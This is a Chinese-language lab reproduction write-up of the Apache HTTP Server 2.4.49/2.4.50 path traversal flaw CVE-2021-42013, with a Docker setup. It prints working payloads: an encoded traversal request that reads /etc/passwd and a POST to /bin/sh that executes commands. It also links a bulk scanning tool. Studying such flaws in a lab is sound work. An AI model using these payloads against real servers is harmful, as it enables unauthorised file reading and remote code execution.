跳转至

CVE 2021 42013 apache路径遍历

本次漏洞编号为:CVE-2021-42013

漏洞简介

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点。

Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

漏洞公布

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-pathtrv-LAzg68cZ

影响版本

Apache HTTPd 2.4.49/2.4.50版本

环境搭建过程

用docker一键搭建

sudo docker pull blueteamsteve/cve-2021-41773:no-cgid

sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

漏洞验证过程

目录遍历payload,读取passwd文件

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: 192.168.123.130:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en;q=0.7
Cookie: seraph.confluence=524289%3A0c7b1f76339049133e306426161621fb136996fc
If-None-Match: "2d-432a5e4a73a80"
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
Connection: close

复现结果

其实根据这个漏洞还能RCE的,但是因为我环境有点问题无法复现,由于复现难度不高,所以就贴图了,给个payload就好了

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: host
Connection: close
Content-Length: 13

echo;ifconfig

由此可见,该漏洞继上次的CVE-2021-41773漏洞修复并不完善,所以才导致了本次漏洞的发生!

一个图片总结这次ApacheHTTPd 2.4.50版本修复不完善。 (图片是盗inbug的哈哈哈哈,完美的诠释了本次漏洞的修复哈哈哈哈)

此外,Inbug实验室还提供了批量多线程检测

Apache 2.4.49 (CVE-2021-41773) Apache 2.4.50 (CVE-2021-42013) Github地址: https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013